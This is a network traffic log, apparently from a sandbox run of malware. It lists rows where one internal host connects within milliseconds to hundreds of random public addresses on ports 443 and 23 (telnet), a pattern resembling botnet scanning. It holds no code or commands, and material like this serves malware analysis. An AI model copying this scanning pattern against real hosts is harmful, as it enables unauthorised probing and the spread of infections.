Oct 14, 2024 17:30:09.909609079 CEST	54042	443	192.168.2.14	202.88.225.152
Oct 14, 2024 17:30:09.909621954 CEST	54042	443	192.168.2.14	94.40.52.230
Oct 14, 2024 17:30:09.909621954 CEST	54042	443	192.168.2.14	79.127.241.83
Oct 14, 2024 17:30:09.909621954 CEST	54042	443	192.168.2.14	123.34.95.28
Oct 14, 2024 17:30:09.909636974 CEST	54042	443	192.168.2.14	109.169.7.190
Oct 14, 2024 17:30:09.909655094 CEST	54042	443	192.168.2.14	117.6.79.124
Oct 14, 2024 17:30:09.909660101 CEST	54042	443	192.168.2.14	210.37.87.249
Oct 14, 2024 17:30:09.909672022 CEST	54042	443	192.168.2.14	123.24.53.11
Oct 14, 2024 17:30:09.909686089 CEST	54042	443	192.168.2.14	5.60.121.136
Oct 14, 2024 17:30:09.909686089 CEST	54042	443	192.168.2.14	94.136.248.148
Oct 14, 2024 17:30:09.909706116 CEST	54042	443	192.168.2.14	212.182.155.243
Oct 14, 2024 17:30:09.909709930 CEST	54042	443	192.168.2.14	2.6.155.118
Oct 14, 2024 17:30:09.909723043 CEST	54042	443	192.168.2.14	148.126.138.15
Oct 14, 2024 17:30:09.909723043 CEST	54042	443	192.168.2.14	5.162.36.240
Oct 14, 2024 17:30:09.909723043 CEST	54042	443	192.168.2.14	109.104.58.247
Oct 14, 2024 17:30:09.909739017 CEST	54042	443	192.168.2.14	118.215.202.68
Oct 14, 2024 17:30:09.909755945 CEST	54042	443	192.168.2.14	202.212.249.126
Oct 14, 2024 17:30:09.909759998 CEST	54042	443	192.168.2.14	202.139.101.152
Oct 14, 2024 17:30:09.909775972 CEST	54042	443	192.168.2.14	2.242.166.87
Oct 14, 2024 17:30:09.909785986 CEST	54042	443	192.168.2.14	117.59.181.85
Oct 14, 2024 17:30:09.909802914 CEST	54042	443	192.168.2.14	210.44.76.91
Oct 14, 2024 17:30:09.909827948 CEST	54042	443	192.168.2.14	212.202.171.226
Oct 14, 2024 17:30:09.909837961 CEST	54042	443	192.168.2.14	123.131.192.24
Oct 14, 2024 17:30:09.909841061 CEST	54042	443	192.168.2.14	210.3.154.145
Oct 14, 2024 17:30:09.909842014 CEST	54042	443	192.168.2.14	148.211.69.215
Oct 14, 2024 17:30:09.909842014 CEST	54042	443	192.168.2.14	5.39.112.170
Oct 14, 2024 17:30:09.909841061 CEST	54042	443	192.168.2.14	212.196.128.64
Oct 14, 2024 17:30:09.909856081 CEST	54042	443	192.168.2.14	42.9.169.145
Oct 14, 2024 17:30:09.909859896 CEST	54042	443	192.168.2.14	79.241.218.100
Oct 14, 2024 17:30:09.909863949 CEST	54042	443	192.168.2.14	212.59.3.53
Oct 14, 2024 17:30:09.909885883 CEST	54042	443	192.168.2.14	109.56.157.45
Oct 14, 2024 17:30:09.909900904 CEST	54042	443	192.168.2.14	42.58.105.44
Oct 14, 2024 17:30:09.909900904 CEST	54042	443	192.168.2.14	148.15.55.136
Oct 14, 2024 17:30:09.909919024 CEST	54042	443	192.168.2.14	178.78.82.18
Oct 14, 2024 17:30:09.909934044 CEST	54042	443	192.168.2.14	123.183.161.27
Oct 14, 2024 17:30:09.909946918 CEST	54042	443	192.168.2.14	2.77.204.103
Oct 14, 2024 17:30:09.909960985 CEST	54042	443	192.168.2.14	5.2.82.202
Oct 14, 2024 17:30:09.909981012 CEST	54042	443	192.168.2.14	210.216.40.9
Oct 14, 2024 17:30:09.909985065 CEST	54042	443	192.168.2.14	212.242.242.143
Oct 14, 2024 17:30:09.909989119 CEST	54042	443	192.168.2.14	109.88.3.32
Oct 14, 2024 17:30:09.910016060 CEST	54042	443	192.168.2.14	212.89.144.130
Oct 14, 2024 17:30:09.910016060 CEST	54042	443	192.168.2.14	123.251.153.72
Oct 14, 2024 17:30:09.910016060 CEST	54042	443	192.168.2.14	118.197.67.59
Oct 14, 2024 17:30:09.910041094 CEST	54042	443	192.168.2.14	202.199.18.141
Oct 14, 2024 17:30:09.910041094 CEST	54042	443	192.168.2.14	118.185.164.219
Oct 14, 2024 17:30:09.910047054 CEST	54042	443	192.168.2.14	212.31.205.30
Oct 14, 2024 17:30:09.910059929 CEST	54042	443	192.168.2.14	42.70.242.184
Oct 14, 2024 17:30:09.910077095 CEST	54042	443	192.168.2.14	94.94.225.246
Oct 14, 2024 17:30:09.910089016 CEST	54042	443	192.168.2.14	118.65.48.133
Oct 14, 2024 17:30:09.910089016 CEST	54042	443	192.168.2.14	2.152.204.208
Oct 14, 2024 17:30:09.910108089 CEST	54042	443	192.168.2.14	118.191.234.59
Oct 14, 2024 17:30:09.910120964 CEST	54042	443	192.168.2.14	210.205.56.202
Oct 14, 2024 17:30:09.910125017 CEST	54042	443	192.168.2.14	79.124.155.142
Oct 14, 2024 17:30:09.910129070 CEST	54042	443	192.168.2.14	148.105.255.213
Oct 14, 2024 17:30:09.910130978 CEST	54042	443	192.168.2.14	148.171.71.156
Oct 14, 2024 17:30:09.910136938 CEST	54042	443	192.168.2.14	109.49.69.69
Oct 14, 2024 17:30:09.910151005 CEST	54042	443	192.168.2.14	118.133.38.128
Oct 14, 2024 17:30:09.910157919 CEST	54042	443	192.168.2.14	202.46.70.143
Oct 14, 2024 17:30:09.910164118 CEST	54042	443	192.168.2.14	210.7.13.120
Oct 14, 2024 17:30:09.910178900 CEST	54042	443	192.168.2.14	117.91.194.24
Oct 14, 2024 17:30:09.910192966 CEST	54042	443	192.168.2.14	210.36.51.251
Oct 14, 2024 17:30:09.910203934 CEST	54042	443	192.168.2.14	42.184.153.142
Oct 14, 2024 17:30:09.910216093 CEST	54042	443	192.168.2.14	117.208.190.141
Oct 14, 2024 17:30:09.910227060 CEST	54042	443	192.168.2.14	109.70.104.21
Oct 14, 2024 17:30:09.910244942 CEST	54042	443	192.168.2.14	178.173.36.226
Oct 14, 2024 17:30:09.910267115 CEST	54042	443	192.168.2.14	210.33.143.9
Oct 14, 2024 17:30:09.910285950 CEST	54042	443	192.168.2.14	178.84.117.14
Oct 14, 2024 17:30:09.910289049 CEST	54042	443	192.168.2.14	148.166.177.127
Oct 14, 2024 17:30:09.910290956 CEST	54042	443	192.168.2.14	42.134.101.129
Oct 14, 2024 17:30:09.910301924 CEST	54042	443	192.168.2.14	123.62.252.241
Oct 14, 2024 17:30:09.910332918 CEST	54042	443	192.168.2.14	5.154.128.33
Oct 14, 2024 17:30:09.910332918 CEST	54042	443	192.168.2.14	42.6.245.77
Oct 14, 2024 17:30:09.910341024 CEST	54042	443	192.168.2.14	202.14.70.23
Oct 14, 2024 17:30:09.910341024 CEST	54042	443	192.168.2.14	109.198.56.134
Oct 14, 2024 17:30:09.910345078 CEST	54042	443	192.168.2.14	123.221.109.36
Oct 14, 2024 17:30:09.910356998 CEST	54042	443	192.168.2.14	202.51.100.156
Oct 14, 2024 17:30:09.910358906 CEST	54042	443	192.168.2.14	79.122.254.121
Oct 14, 2024 17:30:09.910379887 CEST	54042	443	192.168.2.14	123.106.90.87
Oct 14, 2024 17:30:09.910387993 CEST	54042	443	192.168.2.14	5.209.80.119
Oct 14, 2024 17:30:09.910413980 CEST	54042	443	192.168.2.14	123.198.99.103
Oct 14, 2024 17:30:09.910438061 CEST	54042	443	192.168.2.14	202.113.132.35
Oct 14, 2024 17:30:09.910449982 CEST	54042	443	192.168.2.14	118.23.56.172
Oct 14, 2024 17:30:09.910461903 CEST	54042	443	192.168.2.14	2.80.12.137
Oct 14, 2024 17:30:09.910461903 CEST	54042	443	192.168.2.14	5.197.139.142
Oct 14, 2024 17:30:09.910476923 CEST	54042	443	192.168.2.14	42.66.241.209
Oct 14, 2024 17:30:09.910476923 CEST	54042	443	192.168.2.14	123.23.22.40
Oct 14, 2024 17:30:09.910479069 CEST	54042	443	192.168.2.14	212.31.28.88
Oct 14, 2024 17:30:09.910485983 CEST	54042	443	192.168.2.14	178.149.190.13
Oct 14, 2024 17:30:09.910492897 CEST	54042	443	192.168.2.14	210.59.8.126
Oct 14, 2024 17:30:09.910518885 CEST	54042	443	192.168.2.14	118.210.166.24
Oct 14, 2024 17:30:09.910518885 CEST	54042	443	192.168.2.14	118.237.83.53
Oct 14, 2024 17:30:09.910532951 CEST	54042	443	192.168.2.14	79.156.4.185
Oct 14, 2024 17:30:09.910545111 CEST	54042	443	192.168.2.14	202.183.184.249
Oct 14, 2024 17:30:09.910552979 CEST	54042	443	192.168.2.14	109.71.56.57
Oct 14, 2024 17:30:09.910563946 CEST	54042	443	192.168.2.14	210.159.233.47
Oct 14, 2024 17:30:09.910579920 CEST	54042	443	192.168.2.14	37.120.38.94
Oct 14, 2024 17:30:09.910597086 CEST	54042	443	192.168.2.14	178.61.109.154
Oct 14, 2024 17:30:09.910619974 CEST	54042	443	192.168.2.14	109.212.168.140
Oct 14, 2024 17:30:09.910619974 CEST	54042	443	192.168.2.14	123.163.8.87
Oct 14, 2024 17:30:09.910645008 CEST	54042	443	192.168.2.14	94.120.96.89
Oct 14, 2024 17:30:09.910645008 CEST	54042	443	192.168.2.14	212.223.147.38
Oct 14, 2024 17:30:09.910660982 CEST	54042	443	192.168.2.14	202.204.182.238
Oct 14, 2024 17:30:09.910675049 CEST	54042	443	192.168.2.14	212.134.219.127
Oct 14, 2024 17:30:09.910703897 CEST	52130	23	192.168.2.14	12.216.230.134
Oct 14, 2024 17:30:09.910707951 CEST	54042	443	192.168.2.14	117.242.70.126
Oct 14, 2024 17:30:09.910722971 CEST	54042	443	192.168.2.14	2.147.81.119
Oct 14, 2024 17:30:09.910722971 CEST	56862	23	192.168.2.14	48.115.50.1
Oct 14, 2024 17:30:09.910723925 CEST	59996	23	192.168.2.14	161.57.7.247
Oct 14, 2024 17:30:09.910723925 CEST	52454	23	192.168.2.14	208.108.109.204
Oct 14, 2024 17:30:09.910729885 CEST	54042	443	192.168.2.14	148.130.8.164
Oct 14, 2024 17:30:09.910742998 CEST	54042	443	192.168.2.14	37.231.127.117
Oct 14, 2024 17:30:09.910742998 CEST	39242	23	192.168.2.14	116.247.77.200
Oct 14, 2024 17:30:09.910743952 CEST	43624	23	192.168.2.14	124.37.241.209
Oct 14, 2024 17:30:09.910747051 CEST	55830	23	192.168.2.14	130.18.218.137
Oct 14, 2024 17:30:09.910748005 CEST	54042	443	192.168.2.14	37.20.24.126
Oct 14, 2024 17:30:09.910756111 CEST	51910	23	192.168.2.14	40.149.37.35
Oct 14, 2024 17:30:09.910761118 CEST	56880	23	192.168.2.14	150.99.102.117
Oct 14, 2024 17:30:09.910762072 CEST	55448	23	192.168.2.14	27.78.38.173
Oct 14, 2024 17:30:09.910767078 CEST	51504	23	192.168.2.14	187.139.215.61
Oct 14, 2024 17:30:09.910769939 CEST	54042	443	192.168.2.14	2.219.119.141
Oct 14, 2024 17:30:09.910773039 CEST	54042	443	192.168.2.14	123.114.189.206
Oct 14, 2024 17:30:09.910784006 CEST	52532	23	192.168.2.14	161.13.133.196
Oct 14, 2024 17:30:09.910784006 CEST	46316	23	192.168.2.14	66.140.45.169
Oct 14, 2024 17:30:09.910784006 CEST	47016	23	192.168.2.14	9.30.58.66
Oct 14, 2024 17:30:09.910784006 CEST	37926	23	192.168.2.14	20.151.159.114
Oct 14, 2024 17:30:09.910784960 CEST	44080	23	192.168.2.14	40.137.161.209
Oct 14, 2024 17:30:09.910792112 CEST	41210	23	192.168.2.14	170.15.21.39
Oct 14, 2024 17:30:09.910799980 CEST	60160	23	192.168.2.14	35.174.82.249
Oct 14, 2024 17:30:09.910810947 CEST	49404	23	192.168.2.14	190.73.5.10
Oct 14, 2024 17:30:09.910813093 CEST	37040	23	192.168.2.14	164.70.215.21
Oct 14, 2024 17:30:09.910810947 CEST	54042	443	192.168.2.14	212.5.145.186
Oct 14, 2024 17:30:09.910815954 CEST	33256	23	192.168.2.14	191.8.115.211
Oct 14, 2024 17:30:09.910810947 CEST	33094	23	192.168.2.14	141.40.234.211
Oct 14, 2024 17:30:09.910821915 CEST	35384	23	192.168.2.14	164.230.206.14
Oct 14, 2024 17:30:09.910821915 CEST	54626	23	192.168.2.14	180.153.9.176
Oct 14, 2024 17:30:09.910832882 CEST	60556	23	192.168.2.14	69.154.200.175
Oct 14, 2024 17:30:09.910835028 CEST	44896	23	192.168.2.14	183.30.89.161
Oct 14, 2024 17:30:09.910835028 CEST	47500	23	192.168.2.14	133.166.17.9
Oct 14, 2024 17:30:09.910835028 CEST	45870	23	192.168.2.14	197.208.154.35
Oct 14, 2024 17:30:09.910837889 CEST	45532	23	192.168.2.14	125.59.30.179
Oct 14, 2024 17:30:09.910837889 CEST	45092	23	192.168.2.14	168.4.19.140
Oct 14, 2024 17:30:09.910850048 CEST	56566	23	192.168.2.14	66.13.249.127
Oct 14, 2024 17:30:09.910850048 CEST	48616	23	192.168.2.14	204.252.176.152
Oct 14, 2024 17:30:09.910850048 CEST	48996	23	192.168.2.14	182.173.129.246
Oct 14, 2024 17:30:09.910855055 CEST	47112	23	192.168.2.14	103.195.30.108
Oct 14, 2024 17:30:09.910855055 CEST	46576	23	192.168.2.14	116.217.136.109
Oct 14, 2024 17:30:09.910856962 CEST	51382	23	192.168.2.14	14.159.88.55
Oct 14, 2024 17:30:09.910861015 CEST	39720	23	192.168.2.14	1.170.6.206
Oct 14, 2024 17:30:09.910867929 CEST	45516	23	192.168.2.14	110.6.205.136
Oct 14, 2024 17:30:09.910871029 CEST	47728	23	192.168.2.14	2.107.95.171
Oct 14, 2024 17:30:09.910871029 CEST	43338	23	192.168.2.14	128.196.200.189
Oct 14, 2024 17:30:09.910873890 CEST	55784	23	192.168.2.14	177.150.116.205
Oct 14, 2024 17:30:09.910873890 CEST	45990	23	192.168.2.14	123.12.3.107
Oct 14, 2024 17:30:09.910876036 CEST	44278	23	192.168.2.14	4.233.10.115
Oct 14, 2024 17:30:09.910888910 CEST	38110	23	192.168.2.14	101.215.45.130
Oct 14, 2024 17:30:09.910890102 CEST	48716	23	192.168.2.14	38.231.167.158
Oct 14, 2024 17:30:09.910897970 CEST	52992	23	192.168.2.14	71.135.228.51
Oct 14, 2024 17:30:09.910904884 CEST	39820	23	192.168.2.14	151.247.114.12
Oct 14, 2024 17:30:09.910908937 CEST	54042	443	192.168.2.14	2.17.132.88
Oct 14, 2024 17:30:09.910909891 CEST	54042	443	192.168.2.14	117.26.207.22
Oct 14, 2024 17:30:09.910911083 CEST	32916	23	192.168.2.14	97.103.36.128
Oct 14, 2024 17:30:09.910914898 CEST	35094	23	192.168.2.14	40.251.3.123
Oct 14, 2024 17:30:09.910917044 CEST	50090	23	192.168.2.14	113.86.101.254
Oct 14, 2024 17:30:09.910914898 CEST	43886	23	192.168.2.14	154.239.100.49
Oct 14, 2024 17:30:09.910919905 CEST	33654	23	192.168.2.14	209.34.229.39
Oct 14, 2024 17:30:09.910921097 CEST	54042	443	192.168.2.14	148.216.203.177
Oct 14, 2024 17:30:09.910923004 CEST	54042	443	192.168.2.14	37.120.101.236
Oct 14, 2024 17:30:09.910923004 CEST	54042	443	192.168.2.14	5.191.69.60
Oct 14, 2024 17:30:09.910928965 CEST	58658	23	192.168.2.14	45.174.52.105
Oct 14, 2024 17:30:09.910931110 CEST	53284	23	192.168.2.14	87.159.61.49
Oct 14, 2024 17:30:09.910937071 CEST	54042	443	192.168.2.14	117.48.149.247
Oct 14, 2024 17:30:09.910938978 CEST	44548	23	192.168.2.14	70.105.22.141
Oct 14, 2024 17:30:09.910939932 CEST	51142	23	192.168.2.14	104.158.105.16
Oct 14, 2024 17:30:09.910955906 CEST	38410	23	192.168.2.14	25.93.216.8
Oct 14, 2024 17:30:09.910955906 CEST	35940	23	192.168.2.14	108.50.152.159
Oct 14, 2024 17:30:09.910967112 CEST	40836	23	192.168.2.14	134.197.22.25
Oct 14, 2024 17:30:09.910967112 CEST	54042	443	192.168.2.14	37.102.93.225
Oct 14, 2024 17:30:09.910967112 CEST	54042	443	192.168.2.14	79.136.166.143
Oct 14, 2024 17:30:09.910969019 CEST	54042	443	192.168.2.14	210.198.124.184
Oct 14, 2024 17:30:09.910970926 CEST	35318	23	192.168.2.14	45.59.10.98
Oct 14, 2024 17:30:09.910974026 CEST	54042	443	192.168.2.14	178.9.109.60
Oct 14, 2024 17:30:09.910974026 CEST	49818	23	192.168.2.14	204.6.173.1
Oct 14, 2024 17:30:09.910974979 CEST	54042	443	192.168.2.14	117.172.17.29
Oct 14, 2024 17:30:09.910978079 CEST	54042	443	192.168.2.14	94.23.30.166
Oct 14, 2024 17:30:09.910974026 CEST	54042	443	192.168.2.14	2.221.114.93
Oct 14, 2024 17:30:09.910979033 CEST	54042	443	192.168.2.14	5.235.193.59
Oct 14, 2024 17:30:09.910978079 CEST	54042	443	192.168.2.14	2.55.53.34
Oct 14, 2024 17:30:09.910979033 CEST	39888	23	192.168.2.14	35.245.47.93
Oct 14, 2024 17:30:09.910979033 CEST	54042	443	192.168.2.14	5.10.127.231
Oct 14, 2024 17:30:09.911012888 CEST	54042	443	192.168.2.14	79.186.192.39
Oct 14, 2024 17:30:09.911012888 CEST	54042	443	192.168.2.14	118.25.217.171
Oct 14, 2024 17:30:09.911032915 CEST	54042	443	192.168.2.14	178.191.127.13
Oct 14, 2024 17:30:09.911035061 CEST	54042	443	192.168.2.14	94.157.70.129
Oct 14, 2024 17:30:09.911051989 CEST	54042	443	192.168.2.14	117.115.140.172
Oct 14, 2024 17:30:09.911053896 CEST	54042	443	192.168.2.14	42.216.99.109
Oct 14, 2024 17:30:09.911071062 CEST	54042	443	192.168.2.14	148.5.209.30
Oct 14, 2024 17:30:09.911077023 CEST	54042	443	192.168.2.14	210.200.187.64
Oct 14, 2024 17:30:09.911077023 CEST	54042	443	192.168.2.14	117.215.183.110
Oct 14, 2024 17:30:09.911082983 CEST	54042	443	192.168.2.14	117.53.82.84
Oct 14, 2024 17:30:09.911108017 CEST	54042	443	192.168.2.14	210.182.97.170
Oct 14, 2024 17:30:09.911108017 CEST	54042	443	192.168.2.14	148.105.21.98
Oct 14, 2024 17:30:09.911111116 CEST	54042	443	192.168.2.14	178.238.49.176
Oct 14, 2024 17:30:09.911129951 CEST	54042	443	192.168.2.14	94.16.152.85
Oct 14, 2024 17:30:09.911132097 CEST	54042	443	192.168.2.14	117.183.2.109
Oct 14, 2024 17:30:09.911144018 CEST	54042	443	192.168.2.14	109.229.129.130
Oct 14, 2024 17:30:09.911171913 CEST	54042	443	192.168.2.14	148.203.126.82
Oct 14, 2024 17:30:09.911184072 CEST	54042	443	192.168.2.14	37.33.247.214
Oct 14, 2024 17:30:09.911201954 CEST	54042	443	192.168.2.14	202.191.255.168
Oct 14, 2024 17:30:09.911201954 CEST	54042	443	192.168.2.14	109.215.58.150
Oct 14, 2024 17:30:09.911217928 CEST	54042	443	192.168.2.14	210.34.110.82
Oct 14, 2024 17:30:09.911226034 CEST	54042	443	192.168.2.14	148.146.246.31
Oct 14, 2024 17:30:09.911227942 CEST	54042	443	192.168.2.14	5.226.3.234
Oct 14, 2024 17:30:09.911235094 CEST	54042	443	192.168.2.14	178.56.194.228
Oct 14, 2024 17:30:09.911240101 CEST	54042	443	192.168.2.14	109.65.226.116
Oct 14, 2024 17:30:09.911253929 CEST	54042	443	192.168.2.14	2.7.107.148
Oct 14, 2024 17:30:09.911268950 CEST	54042	443	192.168.2.14	79.16.65.76
Oct 14, 2024 17:30:09.911278963 CEST	54042	443	192.168.2.14	94.16.44.133
Oct 14, 2024 17:30:09.911295891 CEST	54042	443	192.168.2.14	117.84.205.136
Oct 14, 2024 17:30:09.911305904 CEST	54042	443	192.168.2.14	123.96.235.234
Oct 14, 2024 17:30:09.911314011 CEST	54042	443	192.168.2.14	118.182.133.142
Oct 14, 2024 17:30:09.911334991 CEST	54042	443	192.168.2.14	202.135.11.47
Oct 14, 2024 17:30:09.911339998 CEST	54042	443	192.168.2.14	202.168.211.164
Oct 14, 2024 17:30:09.911339998 CEST	54042	443	192.168.2.14	212.17.249.144
Oct 14, 2024 17:30:09.911355972 CEST	54042	443	192.168.2.14	37.70.195.247
Oct 14, 2024 17:30:09.911375999 CEST	54042	443	192.168.2.14	5.167.108.237
Oct 14, 2024 17:30:09.911391020 CEST	54042	443	192.168.2.14	123.223.245.174
Oct 14, 2024 17:30:09.911392927 CEST	54042	443	192.168.2.14	42.248.122.171
Oct 14, 2024 17:30:09.911407948 CEST	443	54042	123.223.245.174	192.168.2.14
Oct 14, 2024 17:30:09.911411047 CEST	54042	443	192.168.2.14	117.178.203.181
Oct 14, 2024 17:30:09.911422014 CEST	54042	443	192.168.2.14	5.197.159.191
Oct 14, 2024 17:30:09.911427021 CEST	54042	443	192.168.2.14	2.55.119.228
Oct 14, 2024 17:30:09.911431074 CEST	54042	443	192.168.2.14	148.81.215.201
Oct 14, 2024 17:30:09.911452055 CEST	54042	443	192.168.2.14	79.242.209.56
Oct 14, 2024 17:30:09.911452055 CEST	54042	443	192.168.2.14	123.223.245.174
Oct 14, 2024 17:30:09.911459923 CEST	54042	443	192.168.2.14	79.192.11.21
Oct 14, 2024 17:30:09.911468029 CEST	54042	443	192.168.2.14	178.193.146.86
Oct 14, 2024 17:30:09.911483049 CEST	54042	443	192.168.2.14	37.26.131.157
Oct 14, 2024 17:30:09.911494970 CEST	54042	443	192.168.2.14	210.210.73.152
Oct 14, 2024 17:30:09.911504030 CEST	54042	443	192.168.2.14	148.5.140.194
Oct 14, 2024 17:30:09.911511898 CEST	54042	443	192.168.2.14	210.177.66.232
Oct 14, 2024 17:30:09.911524057 CEST	54042	443	192.168.2.14	109.139.172.231
Oct 14, 2024 17:30:09.911551952 CEST	54042	443	192.168.2.14	123.8.48.188
Oct 14, 2024 17:30:09.911555052 CEST	54042	443	192.168.2.14	123.93.177.217
Oct 14, 2024 17:30:09.911565065 CEST	54042	443	192.168.2.14	2.3.217.191
Oct 14, 2024 17:30:09.911578894 CEST	54042	443	192.168.2.14	118.255.126.206
Oct 14, 2024 17:30:09.911585093 CEST	54042	443	192.168.2.14	37.7.249.222
Oct 14, 2024 17:30:09.911604881 CEST	54042	443	192.168.2.14	212.65.88.163
Oct 14, 2024 17:30:09.911612034 CEST	54042	443	192.168.2.14	123.219.22.106
Oct 14, 2024 17:30:09.911621094 CEST	54042	443	192.168.2.14	210.65.62.190
Oct 14, 2024 17:30:09.911628008 CEST	54042	443	192.168.2.14	117.35.237.80
Oct 14, 2024 17:30:09.911628008 CEST	54042	443	192.168.2.14	42.234.205.25
Oct 14, 2024 17:30:09.911642075 CEST	54042	443	192.168.2.14	202.216.53.135
Oct 14, 2024 17:30:09.911645889 CEST	54042	443	192.168.2.14	210.190.192.222
Oct 14, 2024 17:30:09.911665916 CEST	54042	443	192.168.2.14	212.38.112.0
Oct 14, 2024 17:30:09.911683083 CEST	54042	443	192.168.2.14	148.249.133.151
Oct 14, 2024 17:30:09.911691904 CEST	54042	443	192.168.2.14	178.19.22.103
Oct 14, 2024 17:30:09.911701918 CEST	54042	443	192.168.2.14	210.120.56.55
Oct 14, 2024 17:30:09.911701918 CEST	54042	443	192.168.2.14	118.137.106.192
Oct 14, 2024 17:30:09.911701918 CEST	54042	443	192.168.2.14	118.61.246.121
Oct 14, 2024 17:30:09.911720991 CEST	54042	443	192.168.2.14	148.245.73.117
Oct 14, 2024 17:30:09.911729097 CEST	54042	443	192.168.2.14	123.127.13.89
Oct 14, 2024 17:30:09.911744118 CEST	54042	443	192.168.2.14	212.98.103.106
Oct 14, 2024 17:30:09.911753893 CEST	54042	443	192.168.2.14	79.35.0.4
Oct 14, 2024 17:30:09.911767960 CEST	54042	443	192.168.2.14	42.53.206.196
Oct 14, 2024 17:30:09.911777020 CEST	54042	443	192.168.2.14	5.39.162.207
Oct 14, 2024 17:30:09.911788940 CEST	54042	443	192.168.2.14	178.73.57.91
Oct 14, 2024 17:30:09.911789894 CEST	54042	443	192.168.2.14	117.238.27.154
Oct 14, 2024 17:30:09.911803961 CEST	54042	443	192.168.2.14	148.61.243.94
Oct 14, 2024 17:30:09.911809921 CEST	54042	443	192.168.2.14	5.243.32.163
Oct 14, 2024 17:30:09.911827087 CEST	54042	443	192.168.2.14	79.77.139.54
Oct 14, 2024 17:30:09.911837101 CEST	54042	443	192.168.2.14	148.238.123.44
Oct 14, 2024 17:30:09.911854982 CEST	54042	443	192.168.2.14	212.89.108.88
Oct 14, 2024 17:30:09.911864996 CEST	54042	443	192.168.2.14	37.58.53.61
Oct 14, 2024 17:30:09.911880016 CEST	54042	443	192.168.2.14	79.136.192.15
Oct 14, 2024 17:30:09.911881924 CEST	54042	443	192.168.2.14	5.197.173.63
Oct 14, 2024 17:30:09.911891937 CEST	54042	443	192.168.2.14	117.212.252.249
Oct 14, 2024 17:30:09.913568974 CEST	54042	443	192.168.2.14	202.247.11.188
Oct 14, 2024 17:30:09.934000015 CEST	12058	23	192.168.2.14	217.4.8.138
Oct 14, 2024 17:30:09.934000969 CEST	12058	23	192.168.2.14	120.221.255.168
Oct 14, 2024 17:30:09.934000969 CEST	12058	23	192.168.2.14	87.92.178.41
Oct 14, 2024 17:30:09.934000969 CEST	12058	23	192.168.2.14	79.226.31.227
Oct 14, 2024 17:30:09.934000969 CEST	12058	23	192.168.2.14	25.128.187.54
Oct 14, 2024 17:30:09.934000969 CEST	12058	23	192.168.2.14	14.9.233.126
Oct 14, 2024 17:30:09.934000969 CEST	12058	23	192.168.2.14	17.115.9.116
Oct 14, 2024 17:30:09.934000015 CEST	12058	23	192.168.2.14	134.23.32.231
Oct 14, 2024 17:30:09.934000969 CEST	12058	23	192.168.2.14	60.15.205.138
Oct 14, 2024 17:30:09.934005976 CEST	12058	23	192.168.2.14	43.11.218.110
Oct 14, 2024 17:30:09.934005976 CEST	12058	23	192.168.2.14	59.109.116.44
Oct 14, 2024 17:30:09.934005976 CEST	12058	23	192.168.2.14	73.240.81.128
Oct 14, 2024 17:30:09.934005976 CEST	12058	23	192.168.2.14	89.5.255.230
Oct 14, 2024 17:30:09.934005976 CEST	12058	23	192.168.2.14	200.80.96.73
Oct 14, 2024 17:30:09.934005976 CEST	12058	23	192.168.2.14	162.43.237.244
Oct 14, 2024 17:30:09.934005976 CEST	12058	23	192.168.2.14	37.105.140.40
Oct 14, 2024 17:30:09.934010029 CEST	12058	23	192.168.2.14	119.166.89.14
Oct 14, 2024 17:30:09.934005976 CEST	12058	23	192.168.2.14	144.94.188.210
Oct 14, 2024 17:30:09.934011936 CEST	12058	23	192.168.2.14	101.194.135.43
Oct 14, 2024 17:30:09.934005976 CEST	12058	23	192.168.2.14	161.122.245.249
Oct 14, 2024 17:30:09.934010029 CEST	12058	23	192.168.2.14	179.183.141.41
Oct 14, 2024 17:30:09.934011936 CEST	12058	23	192.168.2.14	38.58.22.198
Oct 14, 2024 17:30:09.934010029 CEST	12058	23	192.168.2.14	46.142.8.40
Oct 14, 2024 17:30:09.934005976 CEST	12058	23	192.168.2.14	77.125.253.132
Oct 14, 2024 17:30:09.934010029 CEST	12058	23	192.168.2.14	41.121.217.175
Oct 14, 2024 17:30:09.934011936 CEST	12058	23	192.168.2.14	155.125.166.96
Oct 14, 2024 17:30:09.934010029 CEST	12058	23	192.168.2.14	200.245.117.32
Oct 14, 2024 17:30:09.934010029 CEST	12058	23	192.168.2.14	169.119.221.39
Oct 14, 2024 17:30:09.934011936 CEST	12058	23	192.168.2.14	162.109.8.130
Oct 14, 2024 17:30:09.934011936 CEST	12058	23	192.168.2.14	180.54.56.117
Oct 14, 2024 17:30:09.934021950 CEST	12058	23	192.168.2.14	59.241.103.96
Oct 14, 2024 17:30:09.934022903 CEST	12058	23	192.168.2.14	149.191.151.250
Oct 14, 2024 17:30:09.934022903 CEST	12058	23	192.168.2.14	90.141.15.76
Oct 14, 2024 17:30:09.934092999 CEST	12058	23	192.168.2.14	59.208.118.219
Oct 14, 2024 17:30:09.934092999 CEST	12058	23	192.168.2.14	76.28.52.192
Oct 14, 2024 17:30:09.934092999 CEST	12058	23	192.168.2.14	222.64.23.38
Oct 14, 2024 17:30:09.934092999 CEST	12058	23	192.168.2.14	44.76.138.194
Oct 14, 2024 17:30:09.934092999 CEST	12058	23	192.168.2.14	37.17.45.52
Oct 14, 2024 17:30:09.934284925 CEST	12058	23	192.168.2.14	156.47.19.122
Oct 14, 2024 17:30:09.934284925 CEST	12058	23	192.168.2.14	14.113.251.204
Oct 14, 2024 17:30:09.934284925 CEST	12058	23	192.168.2.14	60.124.110.106
Oct 14, 2024 17:30:09.934284925 CEST	12058	23	192.168.2.14	186.216.147.112
Oct 14, 2024 17:30:09.934284925 CEST	12058	23	192.168.2.14	125.209.43.62
Oct 14, 2024 17:30:09.934286118 CEST	12058	23	192.168.2.14	108.234.43.149
Oct 14, 2024 17:30:09.934286118 CEST	12058	23	192.168.2.14	121.95.86.88
Oct 14, 2024 17:30:09.934289932 CEST	12058	23	192.168.2.14	47.250.35.47
Oct 14, 2024 17:30:09.934286118 CEST	12058	23	192.168.2.14	193.92.178.84
Oct 14, 2024 17:30:09.934284925 CEST	12058	23	192.168.2.14	150.227.243.12
Oct 14, 2024 17:30:09.934289932 CEST	12058	23	192.168.2.14	46.180.83.210
Oct 14, 2024 17:30:09.934286118 CEST	12058	23	192.168.2.14	63.112.7.204
Oct 14, 2024 17:30:09.934284925 CEST	12058	23	192.168.2.14	152.161.44.157
Oct 14, 2024 17:30:09.934286118 CEST	12058	23	192.168.2.14	118.48.31.192
Oct 14, 2024 17:30:09.934290886 CEST	12058	23	192.168.2.14	175.219.151.42
Oct 14, 2024 17:30:09.934290886 CEST	12058	23	192.168.2.14	142.227.212.152
Oct 14, 2024 17:30:09.934290886 CEST	12058	23	192.168.2.14	103.105.194.46
Oct 14, 2024 17:30:09.934294939 CEST	12058	23	192.168.2.14	50.130.236.254
